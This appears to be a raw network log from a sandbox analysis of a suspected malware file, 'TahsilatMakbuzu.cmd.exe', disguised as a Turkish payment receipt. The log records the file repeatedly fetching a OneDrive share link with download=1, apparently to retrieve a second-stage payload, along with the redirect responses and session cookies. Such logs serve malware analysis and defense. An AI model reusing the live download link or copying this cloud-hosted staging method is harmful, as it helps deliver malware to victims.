2024-07-04 18:17:35 UTC	1777	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:17:35 UTC	8192	IN	Data Raw: 22 2c 22 73 65 72 76 65 72 54 69 6d 65 22 3a 22 32 30 32 34 2d 30 37 2d 30 34 54 31 38 3a 31 37 3a 33 35 2e 36 34 34 39 31 33 32 5a 22 2c 22 69 73 41 6e 6f 6e 79 6d 6f 75 73 47 75 65 73 74 55 73 65 72 22 3a 66 61 6c 73 65 2c 22 73 79 73 74 65 6d 55 73 65 72 4b 65 79 22 3a 6e 75 6c 6c 2c 22 75 73 65 72 50 72 69 6e 63 69 70 61 6c 4e 61 6d 65 22 3a 6e 75 6c 6c 2c 22 77 65 62 49 64 22 3a 22 7b 30 30 30 30 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 30 30 30 30 30 30 30 30 7d 22 2c 22 73 69 74 65 49 64 22 3a 22 7b 30 30 30 30 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 30 30 30 30 30 30 30 30 7d 22 2c 22 77 65 62 53 65 72 76 65 72 52 65 6c 61 74 69 76 65 55 72 6c 22 3a 6e 75 6c 6c 2c 22 77 65 62 41 62 73 Data Ascii: ","serverTime":"2024-07-04T18:17:35.6449132Z","isAnonymousGuestUser":false,"systemUserKey":null,"userPrincipalName":null,"webId":"{00000000-0000-0000-0000-000000000000}","siteId":"{00000000-0000-0000-0000-000000000000}","webServerRelativeUrl":null,"webAbs
2024-07-04 18:17:35 UTC	4609	IN	Data Raw: 46 46 39 2d 34 45 33 32 2d 39 34 38 31 2d 31 41 31 35 32 36 34 43 32 31 37 33 22 3a 74 72 75 65 2c 22 33 34 37 33 46 43 33 41 2d 36 43 33 35 2d 34 42 34 41 2d 38 32 41 38 2d 36 45 45 46 41 33 33 38 37 34 30 36 22 3a 74 72 75 65 2c 22 42 30 37 39 44 37 36 31 2d 33 41 44 34 2d 34 35 32 31 2d 38 32 31 43 2d 46 33 30 41 39 43 33 41 38 44 34 32 22 3a 74 72 75 65 2c 22 43 46 31 31 36 39 44 34 2d 41 44 46 36 2d 34 41 35 36 2d 41 43 31 45 2d 31 45 35 34 36 32 43 43 38 39 36 36 22 3a 74 72 75 65 2c 22 41 41 38 30 46 41 30 32 2d 39 39 46 35 2d 34 34 33 41 2d 39 34 39 45 2d 44 41 33 33 33 44 42 45 33 31 37 39 22 3a 74 72 75 65 2c 22 46 34 39 45 43 30 33 41 2d 30 42 32 44 2d 34 37 39 37 2d 42 30 43 32 2d 33 31 37 33 41 36 45 37 32 46 46 30 22 3a 74 72 75 65 2c 22 44 Data Ascii: FF9-4E32-9481-1A15264C2173":true,"3473FC3A-6C35-4B4A-82A8-6EEFA3387406":true,"B079D761-3AD4-4521-821C-F30A9C3A8D42":true,"CF1169D4-ADF6-4A56-AC1E-1E5462CC8966":true,"AA80FA02-99F5-443A-949E-DA333DBE3179":true,"F49EC03A-0B2D-4797-B0C2-3173A6E72FF0":true,"D
2024-07-04 18:17:35 UTC	8192	IN	Data Raw: 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 Data Ascii: "308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD2678
2024-07-04 18:17:35 UTC	8192	IN	Data Raw: 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 Data Ascii: D-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true
2024-07-04 18:17:35 UTC	8192	IN	Data Raw: 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 Data Ascii: F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443
2024-07-04 18:17:35 UTC	8192	IN	Data Raw: 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d Data Ascii: -E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-
2024-07-04 18:17:35 UTC	8192	IN	Data Raw: 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 Data Ascii: 955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-854
2024-07-04 18:17:35 UTC	8192	IN	Data Raw: 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 Data Ascii: rue,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76
2024-07-04 18:17:35 UTC	8192	IN	Data Raw: 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a Data Ascii: 8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49816	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:36 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:17:36 UTC	594	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: SJ4PPF88E377373 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: DbpIOw220kimo+rJXIx70Q.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 13E6F80D0F79444AA898F534E3DBEF1D Ref B: EWR311000104031 Ref C: 2024-07-04T18:17:36Z Date: Thu, 04 Jul 2024 18:17:36 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49818	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:37 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:17:38 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: PH2PPF6FBC7635A Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: rOCgwJSuTUu5/JIYJVte9g.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 1BECFE36D8C74E0A9B6173321EA92920 Ref B: EWR30EDGE0921 Ref C: 2024-07-04T18:17:37Z Date: Thu, 04 Jul 2024 18:17:37 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	49819	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:38 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	49820	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:39 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:17:39 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: DS1PPF349E397F6 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: VoOwlfPpQE6S0KNDFHMGlg.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: E66157C941F04201B08F5706A55518A9 Ref B: EWR30EDGE0207 Ref C: 2024-07-04T18:17:39Z Date: Thu, 04 Jul 2024 18:17:39 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	49821	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:40 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:17:40 UTC	2216	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:bgBCl1Wc3Ig=:lgbiOLAGLzsSbC3++tkUhvpjArVAGf0KihO/8nCa0Cg=:F; domain=.live.com; path=/ Set-Cookie: xid=22111238-8a0e-47e2-9608-fc4cbd0f86b1&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:37:40 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODYwLCJuYmYiOjE3MjAxMTcwNjAsImdpdmVuX25hbWUiOiI1MiIsImZhbWlseV9uYW1lIjoiQmVlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZjJiMWJiZjkwNzdmMzkzYjc0YTU0ZmVjZTc0MzRlZmYiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA2MH0.KVKq7rf4KcdooPxur2-Yh9CaRgm-5Cg0i4thWQtP39Cxcwii_ozy8fStTKn6qPz57L-4jpDQ1WOu3Cb609LMYxOvi0jekh3MUvOFnY65qS-yexyajIa6nChBIVg5TCZ7P3ToRp6qjcqK-ec-Tp_1zq41FmX_X4bggqCvZGRbqVM8bQNEsVnQyBCfojr7vyc0uPNfobRaa_CS-qhgBkF4egULzTLLJSTbpjQ7aqSg93ssvIiLVw5TedRqt-vvN2hIfcum49jN4CIVJeIpTPas0SPmcCdha0KwFy-VOR5NrV38gq7WqKSGRtIH8tOEbcKsWVQKKYPePI0TsaTbjsgMaw; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:17:40 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 798f966fd6-bhhdv X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 72A653C807164DFDA49E268760323B6A Ref B: BN3EDGE0414 Ref C: 2024-07-04T18:17:40Z Date: Thu, 04 Jul 2024 18:17:40 GMT Connection: close
2024-07-04 18:17:40 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	49822	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:41 UTC	1276	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODYwLCJuYmYiOjE3MjAxMTcwNjAsImdpdmVuX25hbWUiOiI1MiIsImZhbWlseV9uYW1lIjoiQmVlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZjJiMWJiZjkwNzdmMzkzYjc0YTU0ZmVjZTc0MzRlZmYiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzA2MH0.KVKq7rf4KcdooPxur2-Yh9CaRgm-5Cg0i4thWQtP39Cxcwii_ozy8fStTKn6qPz57L-4jpDQ1WOu3Cb609LMYxOvi0jekh3MUvOFnY65qS-yexyajIa6nChBIVg5TCZ7P3ToRp6qjcqK-ec-Tp_1zq41FmX_X4bggqCvZGRbqVM8bQNEsVnQyBCfojr7vyc0uPNfobRaa_CS-qhgBkF4egULzTLLJSTbpjQ7aqSg93ssvIiLVw5TedRqt-vvN2hIfcum49jN4CIVJeIpTPas0SPmcCdha0KwFy-VOR5NrV38gq7WqKSGRtIH8tOEbcKsWVQKKYPePI0TsaTbjsgMaw; E=P:bgBCl1Wc3Ig=:lgbiOLAGLzsSbC3++tkUhvpjArVAGf0KihO/8nCa0Cg=:F; xid=22111238-8a0e-47e2-9608-fc4cbd0f86b1& [TRUNCATED]
2024-07-04 18:17:41 UTC	1923	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,4451,0,35284,63 X-SharePointHealthScore: 3 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 441239a1-c00d-5000-f8df-f18740912694 request-id: 441239a1-c00d-5000-f8df-f18740912694 MS-CV: oTkSRA3AAFD43/GHQJEmlA.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 27 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25019 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: A0F3E240EC4644A88B81C8DB2FD428CE Ref B: BN3EDGE0607 Ref C: 2024-07-04T18:17:41Z Date: Thu, 04 Jul 2024 18:17:41 GMT Connection: close
